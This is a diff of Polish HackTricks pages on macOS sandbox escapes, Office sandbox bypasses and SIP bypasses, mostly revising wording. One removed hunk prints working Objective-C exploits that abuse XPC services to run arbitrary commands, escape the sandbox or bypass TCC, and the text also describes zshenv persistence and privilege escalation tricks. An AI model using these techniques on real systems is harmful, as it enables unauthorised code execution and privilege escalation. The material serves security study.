Zauważ, że **`_cred_sb_evalutate`** jest wrapperem nad **`sb_evaluate_internal`** i ta funkcja pobiera przekazane poświadczenia, a następnie przeprowadza ocenę za pomocą funkcji **`eval`**, która zazwyczaj ocenia **profil platformy**, który domyślnie jest stosowany do wszystkich procesów, a następnie **specyficzny profil procesu**. Zauważ, że profil platformy jest jednym z głównych komponentów **SIP** w macOS.
|
||||
|
||||
## Sandboxd
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Na tej stronie znajdziesz, jak stworzyć aplikację do uruchamiania dowolnych poleceń z wnętrza domyślnego sandboxu macOS:
|
||||
Na tej stronie znajdziesz, jak stworzyć aplikację do uruchamiania dowolnych poleceń z wnętrza domyślnego sandboxa macOS:
|
||||
|
||||
1. Skompiluj aplikację:
|
||||
```objectivec:main.m
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
<figure><img src="../../../../../images/image (901).png" alt=""><figcaption><p>Obraz z <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
|
||||
|
||||
Na poprzednim obrazie można zaobserwować **jak sandbox będzie ładowany**, gdy uruchomiona zostanie aplikacja z uprawnieniem **`com.apple.security.app-sandbox`**.
|
||||
Na poprzednim obrazie można zaobserwować **jak sandbox będzie ładowany** gdy aplikacja z uprawnieniem **`com.apple.security.app-sandbox`** jest uruchamiana.
|
||||
|
||||
Kompilator połączy `/usr/lib/libSystem.B.dylib` z binarnym plikiem.
|
||||
|
||||
@ -22,7 +22,7 @@ Na koniec sandbox zostanie aktywowany przez wywołanie **`__sandbox_ms`**, któr
|
||||
To zostało zrobione w [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Dlatego w tej chwili, jeśli jesteś w stanie utworzyć folder z nazwą kończącą się na **`.app`** bez atrybutu kwarantanny, możesz uciec z sandboxa, ponieważ macOS tylko **sprawdza** atrybut **kwarantanny** w **folderze `.app`** i w **głównym pliku wykonywalnym** (a my wskażemy główny plik wykonywalny na **`/bin/bash`**).
|
||||
> Dlatego w tej chwili, jeśli jesteś w stanie stworzyć folder z nazwą kończącą się na **`.app`** bez atrybutu kwarantanny, możesz uciec z sandboxa, ponieważ macOS tylko **sprawdza** atrybut **kwarantanny** w **folderze `.app`** i w **głównym pliku wykonywalnym** (a my wskażemy główny plik wykonywalny na **`/bin/bash`**).
|
||||
>
|
||||
> Zauważ, że jeśli pakiet .app został już autoryzowany do uruchomienia (ma atrybut kwarantanny z flagą autoryzacji do uruchomienia), możesz również to nadużyć... z wyjątkiem tego, że teraz nie możesz pisać wewnątrz pakietów **`.app`**, chyba że masz jakieś uprzywilejowane uprawnienia TCC (których nie będziesz miał w sandboxie o wysokim poziomie).
|
||||
|
||||
@ -41,9 +41,9 @@ Jak wyjaśniono w [**tym poście**](https://www.vicarius.io/vsociety/posts/cve-2
|
||||
|
||||
### Nadużywanie lokalizacji Auto Start
|
||||
|
||||
Jeśli proces sandboxowany może **zapisywać** w miejscu, w którym **później uruchomi się aplikacja bez sandboxa**, będzie mógł **uciec, po prostu umieszczając** tam binarny plik. Dobrym przykładem takich lokalizacji są `~/Library/LaunchAgents` lub `/System/Library/LaunchDaemons`.
|
||||
Jeśli proces sandboxowany może **zapisać** w miejscu, w którym **później uruchomi się aplikacja bez sandboxa**, będzie mógł **uciec, po prostu umieszczając** tam binarny plik. Dobrym przykładem takich lokalizacji są `~/Library/LaunchAgents` lub `/System/Library/LaunchDaemons`.
|
||||
|
||||
W tym celu możesz nawet potrzebować **2 kroków**: Aby proces z **bardziej liberalnym sandboxem** (`file-read*`, `file-write*`) wykonał twój kod, który faktycznie zapisze w miejscu, w którym będzie **wykonywany bez sandboxa**.
|
||||
W tym celu możesz nawet potrzebować **2 kroków**: Aby proces z **bardziej permissywnym sandboxem** (`file-read*`, `file-write*`) wykonał twój kod, który faktycznie zapisze w miejscu, gdzie będzie **wykonywany bez sandboxa**.
|
||||
|
||||
Sprawdź tę stronę o **lokacjach Auto Start**:
|
||||
|
||||
@ -53,187 +53,26 @@ Sprawdź tę stronę o **lokacjach Auto Start**:
|
||||
|
||||
### Nadużywanie innych procesów
|
||||
|
||||
Jeśli z procesu sandboxowego jesteś w stanie **skomprobatować inne procesy** działające w mniej restrykcyjnych sandboxach (lub wcale), będziesz mógł uciec do ich sandboxów:
|
||||
Jeśli z procesu sandboxowego jesteś w stanie **skompromentować inne procesy** działające w mniej restrykcyjnych sandboxach (lub wcale), będziesz mógł uciec do ich sandboxów:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-proces-abuse/
|
||||
{{#endref}}
|
||||
|
||||
### Dostępne usługi Mach systemu i użytkownika
|
||||
### Kompilacja statyczna i dynamiczne linkowanie
|
||||
|
||||
Sandbox pozwala również na komunikację z niektórymi **usługami Mach** za pośrednictwem XPC zdefiniowanymi w profilu `application.sb`. Jeśli uda ci się **nadużyć** jedną z tych usług, możesz być w stanie **uciec z sandboxa**.
|
||||
[**To badanie**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) odkryło 2 sposoby na obejście Sandboxa. Ponieważ sandbox jest stosowany z poziomu użytkownika, gdy biblioteka **libSystem** jest ładowana. Jeśli binarny plik mógłby uniknąć jej ładowania, nigdy nie zostałby poddany sandboxowi:
|
||||
|
||||
Jak wskazano w [tym opracowaniu](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), informacje o usługach Mach są przechowywane w `/System/Library/xpc/launchd.plist`. Możliwe jest znalezienie wszystkich usług Mach systemu i użytkownika, przeszukując ten plik pod kątem `<string>System</string>` i `<string>User</string>`.
|
||||
- Jeśli binarny plik byłby **całkowicie skompilowany statycznie**, mógłby uniknąć ładowania tej biblioteki.
|
||||
- Jeśli **binarny plik nie musiałby ładować żadnych bibliotek** (ponieważ linker jest również w libSystem), nie będzie musiał ładować libSystem.
|
||||
|
||||
Ponadto możliwe jest sprawdzenie, czy usługa Mach jest dostępna dla aplikacji sandboxowanej, wywołując `bootstrap_look_up`:
|
||||
```objectivec
|
||||
void checkService(const char *serviceName) {
|
||||
mach_port_t service_port = MACH_PORT_NULL;
|
||||
kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
|
||||
if (!err) {
|
||||
NSLog(@"available service:%s", serviceName);
|
||||
mach_port_deallocate(mach_task_self_, service_port);
|
||||
}
|
||||
}
|
||||
### Shellcodes
|
||||
|
||||
void print_available_xpc(void) {
|
||||
NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
|
||||
NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
|
||||
for (NSString* key in launchDaemons) {
|
||||
NSDictionary<NSString*, id>* job = launchDaemons[key];
|
||||
NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
|
||||
for (NSString* serviceName in machServices) {
|
||||
checkService(serviceName.UTF8String);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
### Dostępne usługi PID Mach
|
||||
|
||||
Te usługi Mach były po raz pierwszy nadużywane do [ucieczki z piaskownicy w tym artykule](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). W tym czasie **wszystkie usługi XPC wymagane** przez aplikację i jej framework były widoczne w domenie PID aplikacji (są to usługi Mach z `ServiceType` jako `Application`).
|
||||
|
||||
Aby **skontaktować się z usługą XPC w domenie PID**, wystarczy zarejestrować ją w aplikacji za pomocą linii takiej jak:
|
||||
```objectivec
|
||||
[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
|
||||
```
|
||||
Ponadto, możliwe jest znalezienie wszystkich usług Mach **Application** poprzez przeszukiwanie `System/Library/xpc/launchd.plist` w poszukiwaniu `<string>Application</string>`.
|
||||
|
||||
Innym sposobem na znalezienie ważnych usług xpc jest sprawdzenie tych w:
|
||||
```bash
|
||||
find /System/Library/Frameworks -name "*.xpc"
|
||||
find /System/Library/PrivateFrameworks -name "*.xpc"
|
||||
```
|
||||
Kilka przykładów nadużywających tę technikę można znaleźć w [**oryginalnym opisie**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), jednak poniżej przedstawiono kilka podsumowanych przykładów.
|
||||
|
||||
#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
|
||||
|
||||
Ta usługa pozwala na każde połączenie XPC, zawsze zwracając `YES`, a metoda `runTask:arguments:withReply:` wykonuje dowolne polecenie z dowolnymi parametrami.
|
||||
|
||||
Eksploatacja była "tak prosta jak":
|
||||
```objectivec
|
||||
@protocol SKRemoteTaskRunnerProtocol
|
||||
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
|
||||
@end
|
||||
|
||||
void exploit_storagekitfsrunner(void) {
|
||||
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
|
||||
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
|
||||
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
|
||||
[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
|
||||
[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
|
||||
[conn resume];
|
||||
|
||||
[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
|
||||
NSLog(@"run task result:%@, error:%@", bSucc, error);
|
||||
}];
|
||||
}
|
||||
```
|
||||
#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
|
||||
|
||||
Ta usługa XPC pozwalała każdemu klientowi, zawsze zwracając YES, a metoda `createZipAtPath:hourThreshold:withReply:` zasadniczo pozwalała wskazać ścieżkę do folderu do skompresowania, a ona skompresuje go w pliku ZIP.
|
||||
|
||||
Dlatego możliwe jest wygenerowanie fałszywej struktury folderów aplikacji, skompresowanie jej, a następnie dekompresja i wykonanie, aby uciec z piaskownicy, ponieważ nowe pliki nie będą miały atrybutu kwarantanny.
|
||||
|
||||
Eksploit był:
|
||||
```objectivec
|
||||
@protocol AudioAnalyticsHelperServiceProtocol
|
||||
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
|
||||
-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
|
||||
@end
|
||||
void exploit_AudioAnalyticsHelperService(void) {
|
||||
NSString *currentPath = NSTemporaryDirectory();
|
||||
chdir([currentPath UTF8String]);
|
||||
NSLog(@"======== preparing payload at the current path:%@", currentPath);
|
||||
system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
|
||||
[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
|
||||
system("chmod +x compressed/poc.app/Contents/MacOS/poc");
|
||||
|
||||
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
|
||||
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
|
||||
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
|
||||
[conn resume];
|
||||
|
||||
[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
|
||||
NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
|
||||
NSString *file;
|
||||
while ((file = [dirEnum nextObject])) {
|
||||
if ([[file pathExtension] isEqualToString: @"zip"]) {
|
||||
// open the zip
|
||||
NSString *cmd = [@"open " stringByAppendingString:file];
|
||||
system([cmd UTF8String]);
|
||||
|
||||
sleep(3); // wait for decompression and then open the payload (poc.app)
|
||||
NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
|
||||
system([cmd2 UTF8String]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}];
|
||||
}
|
||||
```
|
||||
#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
|
||||
|
||||
Ta usługa XPC umożliwia nadanie dostępu do odczytu i zapisu do dowolnego URL dla klienta XPC za pomocą metody `extendAccessToURL:completion:`, która akceptowała każde połączenie. Ponieważ usługa XPC ma FDA, możliwe jest nadużycie tych uprawnień w celu całkowitego obejścia TCC.
|
||||
|
||||
Eksploit był:
|
||||
```objectivec
|
||||
@protocol WFFileAccessHelperProtocol
|
||||
- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
|
||||
@end
|
||||
typedef int (*PFN)(const char *);
|
||||
void expoit_ShortcutsFileAccessHelper(NSString *target) {
|
||||
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
|
||||
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
|
||||
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
|
||||
[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
|
||||
[conn resume];
|
||||
|
||||
[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
|
||||
NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
|
||||
NSURL *targetURL = [fpWrapper url];
|
||||
|
||||
void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
|
||||
PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
|
||||
if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
|
||||
NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
|
||||
else {
|
||||
NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
|
||||
NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
|
||||
}
|
||||
}];
|
||||
}
|
||||
```
|
||||
### Statyczne kompilowanie i dynamiczne linkowanie
|
||||
|
||||
[**To badanie**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) odkryło 2 sposoby na obejście Sandbox. Ponieważ sandbox jest stosowany z poziomu użytkownika, gdy biblioteka **libSystem** jest ładowana. Jeśli binarka mogłaby uniknąć jej załadowania, nigdy nie zostałaby objęta sandboxem:
|
||||
|
||||
- Jeśli binarka była **całkowicie statycznie skompilowana**, mogłaby uniknąć ładowania tej biblioteki.
|
||||
- Jeśli **binarka nie musiałaby ładować żadnych bibliotek** (ponieważ linker jest również w libSystem), nie będzie musiała ładować libSystem.
|
||||
|
||||
### Shellcode'y
|
||||
|
||||
Zauważ, że **nawet shellcode'y** w ARM64 muszą być linkowane w `libSystem.dylib`:
|
||||
Zauważ, że **nawet shellcodes** w ARM64 muszą być linkowane w `libSystem.dylib`:
|
||||
```bash
|
||||
ld -o shell shell.o -macosx_version_min 13.0
|
||||
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
|
||||
```
|
||||
### Ograniczenia, które nie są dziedziczone
|
||||
|
||||
Jak wyjaśniono w **[bonusie tego opracowania](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**, ograniczenie sandboxa takie jak:
|
||||
```
|
||||
(version 1)
|
||||
(allow default)
|
||||
(deny file-write* (literal "/private/tmp/sbx"))
|
||||
```
|
||||
może być obejście przez nowy proces wykonujący na przykład:
|
||||
```bash
|
||||
mkdir -p /tmp/poc.app/Contents/MacOS
|
||||
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
|
||||
chmod +x /tmp/poc.app/Contents/MacOS/poc
|
||||
open /tmp/poc.app
|
||||
```
|
||||
Jednak oczywiście, ten nowy proces nie odziedziczy uprawnień ani przywilejów od procesu nadrzędnego.
|
||||
|
||||
### Uprawnienia
|
||||
|
||||
Zauważ, że nawet jeśli niektóre **działania** mogą być **dozwolone przez sandbox**, jeśli aplikacja ma określone **uprawnienie**, jak w:
|
||||
|
@ -14,9 +14,9 @@ Sprawdź [**oryginalny raport tutaj**](https://www.mdsec.co.uk/2018/08/escaping-
|
||||
|
||||
Pamiętaj, że od pierwszej ucieczki, Word może zapisywać dowolne pliki, których nazwa zaczyna się od `~$`, chociaż po poprawce poprzedniej luki nie było możliwe zapisywanie w `/Library/Application Scripts` ani w `/Library/LaunchAgents`.
|
||||
|
||||
Odkryto, że z poziomu sandboxa można utworzyć **Login Item** (aplikacje, które będą uruchamiane, gdy użytkownik się loguje). Jednak te aplikacje **nie będą uruchamiane, chyba że** będą **notaryzowane** i **nie można dodać argumentów** (więc nie można po prostu uruchomić odwrotnego powłoki za pomocą **`bash`**).
|
||||
Odkryto, że z poziomu sandboxa można utworzyć **Login Item** (aplikacje, które będą uruchamiane, gdy użytkownik się loguje). Jednak te aplikacje **nie będą się uruchamiać, chyba że** będą **notaryzowane** i **nie można dodać argumentów** (więc nie można po prostu uruchomić odwrotnego powłoki za pomocą **`bash`**).
|
||||
|
||||
Po poprzednim ominięciu Sandbox, Microsoft wyłączył opcję zapisywania plików w `~/Library/LaunchAgents`. Odkryto jednak, że jeśli umieścisz **plik zip jako Login Item**, `Archive Utility` po prostu **rozpakowuje** go w jego bieżącej lokalizacji. Tak więc, ponieważ domyślnie folder `LaunchAgents` w `~/Library` nie jest tworzony, możliwe było **spakowanie plist w `LaunchAgents/~$escape.plist`** i **umieszczenie** pliku zip w **`~/Library`**, aby po dekompresji dotarł do miejsca docelowego.
|
||||
Po poprzednim ominięciu Sandbox, Microsoft wyłączył opcję zapisywania plików w `~/Library/LaunchAgents`. Jednak odkryto, że jeśli umieścisz **plik zip jako Login Item**, `Archive Utility` po prostu **rozpakowuje** go w jego bieżącej lokalizacji. Tak więc, ponieważ domyślnie folder `LaunchAgents` w `~/Library` nie jest tworzony, możliwe było **spakowanie plist w `LaunchAgents/~$escape.plist`** i **umieszczenie** pliku zip w **`~/Library`**, aby po dekompresji dotarł do miejsca docelowego.
|
||||
|
||||
Sprawdź [**oryginalny raport tutaj**](https://objective-see.org/blog/blog_0x4B.html).
|
||||
|
||||
@ -28,7 +28,7 @@ Jednak poprzednia technika miała ograniczenie, jeśli folder **`~/Library/Launc
|
||||
|
||||
Atakujący mógł stworzyć pliki **`.bash_profile`** i **`.zshenv`** z ładunkiem do wykonania, a następnie spakować je i **zapisać zip w folderze** użytkownika ofiary: **`~/~$escape.zip`**.
|
||||
|
||||
Następnie, dodać plik zip do **Login Items** i następnie do aplikacji **`Terminal`**. Gdy użytkownik się ponownie zaloguje, plik zip zostanie rozpakowany w folderze użytkownika, nadpisując **`.bash_profile`** i **`.zshenv`**, a zatem terminal wykona jeden z tych plików (w zależności od tego, czy używana jest bash czy zsh).
|
||||
Następnie, dodać plik zip do **Login Items** i następnie do aplikacji **`Terminal`**. Gdy użytkownik się ponownie loguje, plik zip zostanie rozpakowany w folderze użytkownika, nadpisując **`.bash_profile`** i **`.zshenv`**, a zatem terminal wykona jeden z tych plików (w zależności od tego, czy używana jest bash czy zsh).
|
||||
|
||||
Sprawdź [**oryginalny raport tutaj**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
|
||||
|
||||
@ -42,7 +42,7 @@ Sprawdź [**oryginalny raport tutaj**](https://perception-point.io/blog/technica
|
||||
|
||||
### Ominięcie Sandbox w Wordzie z Open i stdin
|
||||
|
||||
Narzędzie **`open`** również wspierało parametr **`--stdin`** (a po poprzednim ominięciu nie było już możliwe użycie `--env`).
|
||||
Narzędzie **`open`** obsługiwało również parametr **`--stdin`** (a po poprzednim ominięciu nie było już możliwe użycie `--env`).
|
||||
|
||||
Chodzi o to, że nawet jeśli **`python`** był podpisany przez Apple, **nie wykona** skryptu z atrybutem **`quarantine`**. Jednak możliwe było przekazanie mu skryptu z stdin, więc nie sprawdzi, czy był kwarantannowany, czy nie: 
|
||||
|
||||
|
@ -34,7 +34,7 @@ Z drugiej strony:
|
||||
ls -lOd /usr/libexec
|
||||
drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec
|
||||
```
|
||||
Tutaj flaga **`restricted`** wskazuje, że katalog `/usr/libexec` jest chroniony przez SIP. W katalogu chronionym przez SIP nie można tworzyć, modyfikować ani usuwać plików.
|
||||
Tutaj flaga **`restricted`** wskazuje, że katalog `/usr/libexec` jest chroniony przez SIP. W katalogu chronionym przez SIP pliki nie mogą być tworzone, modyfikowane ani usuwane.
|
||||
|
||||
Ponadto, jeśli plik zawiera atrybut **`com.apple.rootless`** jako rozszerzony **atrybut**, ten plik również będzie **chroniony przez SIP**.
|
||||
|
||||
@ -48,13 +48,13 @@ Ponadto, jeśli plik zawiera atrybut **`com.apple.rootless`** jako rozszerzony *
|
||||
- Modyfikowanie zmiennych NVRAM
|
||||
- Umożliwianie debugowania jądra
|
||||
|
||||
Opcje są przechowywane w zmiennej nvram jako bitflag (`csr-active-config` na Intel i `lp-sip0` jest odczytywane z uruchomionego drzewa urządzeń dla ARM). Flagi można znaleźć w kodzie źródłowym XNU w `csr.sh`:
|
||||
Opcje są przechowywane w zmiennej nvram jako bitflag (`csr-active-config` na Intel i `lp-sip0` jest odczytywane z uruchomionego drzewa urządzeń dla ARM). Możesz znaleźć flagi w kodzie źródłowym XNU w `csr.sh`:
|
||||
|
||||
<figure><img src="../../../images/image (1192).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Status SIP
|
||||
|
||||
Możesz sprawdzić, czy SIP jest włączony w twoim systemie, używając następującego polecenia:
|
||||
Możesz sprawdzić, czy SIP jest włączony w swoim systemie, używając następującego polecenia:
|
||||
```bash
|
||||
csrutil status
|
||||
```
|
||||
@ -86,7 +86,7 @@ csrutil enable --without debug
|
||||
- `com.apple.rootless.internal.installer-equivalent`: Nieograniczony dostęp do systemu plików
|
||||
- `com.apple.rootless.restricted-nvram-variables[.heritable]`: Pełny dostęp do NVRAM
|
||||
- `com.apple.rootless.storage.label`: Modyfikacja plików ograniczonych przez com.apple.rootless xattr z odpowiednią etykietą
|
||||
- `com.apple.rootless.volume.VM.label`: Utrzymanie VM swap na wolumenie
|
||||
- `com.apple.rootless.volume.VM.label`: Utrzymanie VM swap na woluminie
|
||||
|
||||
## Obejścia SIP
|
||||
|
||||
@ -126,7 +126,7 @@ Demon **`system_installd`** zainstaluje pakiety, które zostały podpisane przez
|
||||
|
||||
Badacze odkryli, że podczas instalacji pakietu podpisanego przez Apple (.pkg), **`system_installd`** **uruchamia** wszelkie **skrypty po instalacji** zawarte w pakiecie. Te skrypty są wykonywane przez domyślną powłokę, **`zsh`**, która automatycznie **uruchamia** polecenia z pliku **`/etc/zshenv`**, jeśli istnieje, nawet w trybie nieinteraktywnym. To zachowanie mogłoby być wykorzystane przez atakujących: tworząc złośliwy plik `/etc/zshenv` i czekając na **`system_installd`, aby wywołać `zsh`**, mogliby przeprowadzać dowolne operacje na urządzeniu.
|
||||
|
||||
Ponadto odkryto, że **`/etc/zshenv`** mogłoby być używane jako ogólna technika ataku, nie tylko do obejścia SIP. Każdy profil użytkownika ma plik `~/.zshenv`, który zachowuje się tak samo jak `/etc/zshenv`, ale nie wymaga uprawnień root. Plik ten mógłby być używany jako mechanizm trwałości, uruchamiając się za każdym razem, gdy `zsh` się uruchamia, lub jako mechanizm podwyższenia uprawnień. Jeśli użytkownik administracyjny podniesie uprawnienia do roota, używając `sudo -s` lub `sudo <polecenie>`, plik `~/.zshenv` zostanie uruchomiony, skutecznie podnosząc uprawnienia do roota.
|
||||
Ponadto odkryto, że **`/etc/zshenv`** mogłoby być używane jako ogólna technika ataku, nie tylko do obejścia SIP. Każdy profil użytkownika ma plik `~/.zshenv`, który zachowuje się tak samo jak `/etc/zshenv`, ale nie wymaga uprawnień root. Plik ten mógłby być używany jako mechanizm trwałości, uruchamiając się za każdym razem, gdy `zsh` się uruchamia, lub jako mechanizm podwyższenia uprawnień. Jeśli użytkownik administracyjny podniesie uprawnienia do roota za pomocą `sudo -s` lub `sudo <polecenie>`, plik `~/.zshenv` zostanie uruchomiony, skutecznie podnosząc uprawnienia do roota.
|
||||
|
||||
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
|
||||
|
||||
@ -143,7 +143,7 @@ fsck_cs /dev/diskX 1>&-
|
||||
touch /Library/Extensions/
|
||||
reboot
|
||||
```
|
||||
Wykorzystanie tej luki ma poważne konsekwencje. Plik `Info.plist`, zazwyczaj odpowiedzialny za zarządzanie uprawnieniami dla rozszerzeń jądra, staje się nieskuteczny. Obejmuje to niemożność dodania do czarnej listy niektórych rozszerzeń, takich jak `AppleHWAccess.kext`. W konsekwencji, gdy mechanizm kontrolny SIP jest uszkodzony, to rozszerzenie może być załadowane, co daje nieautoryzowany dostęp do odczytu i zapisu pamięci RAM systemu.
|
||||
Wykorzystanie tej luki ma poważne konsekwencje. Plik `Info.plist`, normalnie odpowiedzialny za zarządzanie uprawnieniami dla rozszerzeń jądra, staje się nieskuteczny. Obejmuje to niemożność dodania do czarnej listy niektórych rozszerzeń, takich jak `AppleHWAccess.kext`. W konsekwencji, gdy mechanizm kontrolny SIP jest uszkodzony, to rozszerzenie może być załadowane, co daje nieautoryzowany dostęp do odczytu i zapisu pamięci RAM systemu.
|
||||
|
||||
#### [Mount over SIP protected folders](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)
|
||||
|
||||
@ -164,7 +164,7 @@ Bezpieczeństwo tego procesu może być zagrożone, jeśli atakujący zmieni obr
|
||||
|
||||
Kod atakującego przejmuje kontrolę podczas procesu aktualizacji, wykorzystując zaufanie systemu do instalatora. Atak postępuje poprzez modyfikację obrazu `InstallESD.dmg` za pomocą metody swizzling, szczególnie celując w metodę `extractBootBits`. Umożliwia to wstrzyknięcie złośliwego kodu przed użyciem obrazu dysku.
|
||||
|
||||
Ponadto, w `InstallESD.dmg` znajduje się `BaseSystem.dmg`, który służy jako system plików dla kodu aktualizacji. Wstrzyknięcie dynamicznej biblioteki do tego pozwala złośliwemu kodowi działać w procesie zdolnym do modyfikacji plików na poziomie systemu operacyjnego, znacznie zwiększając potencjał kompromitacji systemu.
|
||||
Ponadto, w obrębie `InstallESD.dmg` znajduje się `BaseSystem.dmg`, który służy jako system plików dla kodu aktualizacji. Wstrzyknięcie dynamicznej biblioteki do tego pozwala złośliwemu kodowi działać w procesie zdolnym do modyfikacji plików na poziomie systemu operacyjnego, znacznie zwiększając potencjał kompromitacji systemu.
|
||||
|
||||
#### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||
|
||||
@ -193,9 +193,9 @@ Zatwierdzone Zrzuty Systemu to funkcja wprowadzona przez Apple w **macOS Big Sur
|
||||
|
||||
Oto bardziej szczegółowy opis:
|
||||
|
||||
1. **Niemodyfikowalny System**: Zatwierdzone Zrzuty Systemu sprawiają, że wolumen systemowy macOS jest "niemodyfikowalny", co oznacza, że nie można go zmieniać. Zapobiega to wszelkim nieautoryzowanym lub przypadkowym zmianom w systemie, które mogłyby zagrozić bezpieczeństwu lub stabilności systemu.
|
||||
1. **Niemodyfikowalny System**: Zatwierdzone Zrzuty Systemu sprawiają, że wolumen systemowy macOS jest "niemodyfikowalny", co oznacza, że nie może być zmieniany. Zapobiega to wszelkim nieautoryzowanym lub przypadkowym zmianom w systemie, które mogłyby zagrozić bezpieczeństwu lub stabilności systemu.
|
||||
2. **Aktualizacje Oprogramowania Systemowego**: Gdy instalujesz aktualizacje lub ulepszenia macOS, macOS tworzy nowy zrzut systemu. Wolumen startowy macOS następnie używa **APFS (Apple File System)** do przełączenia się na ten nowy zrzut. Cały proces stosowania aktualizacji staje się bezpieczniejszy i bardziej niezawodny, ponieważ system zawsze może wrócić do poprzedniego zrzutu, jeśli coś pójdzie nie tak podczas aktualizacji.
|
||||
3. **Separacja Danych**: W połączeniu z koncepcją separacji Danych i Wolumenu Systemowego wprowadzoną w macOS Catalina, funkcja Zatwierdzonego Zrzutu Systemu zapewnia, że wszystkie twoje dane i ustawienia są przechowywane na oddzielnym wolumenie "**Dane**". Ta separacja sprawia, że twoje dane są niezależne od systemu, co upraszcza proces aktualizacji systemu i zwiększa bezpieczeństwo systemu.
|
||||
3. **Separacja Danych**: W połączeniu z koncepcją separacji danych i wolumenu systemowego wprowadzoną w macOS Catalina, funkcja Zatwierdzonego Zrzutu Systemu zapewnia, że wszystkie twoje dane i ustawienia są przechowywane na oddzielnym wolumenie "**Dane**". Ta separacja sprawia, że twoje dane są niezależne od systemu, co upraszcza proces aktualizacji systemu i zwiększa bezpieczeństwo systemu.
|
||||
|
||||
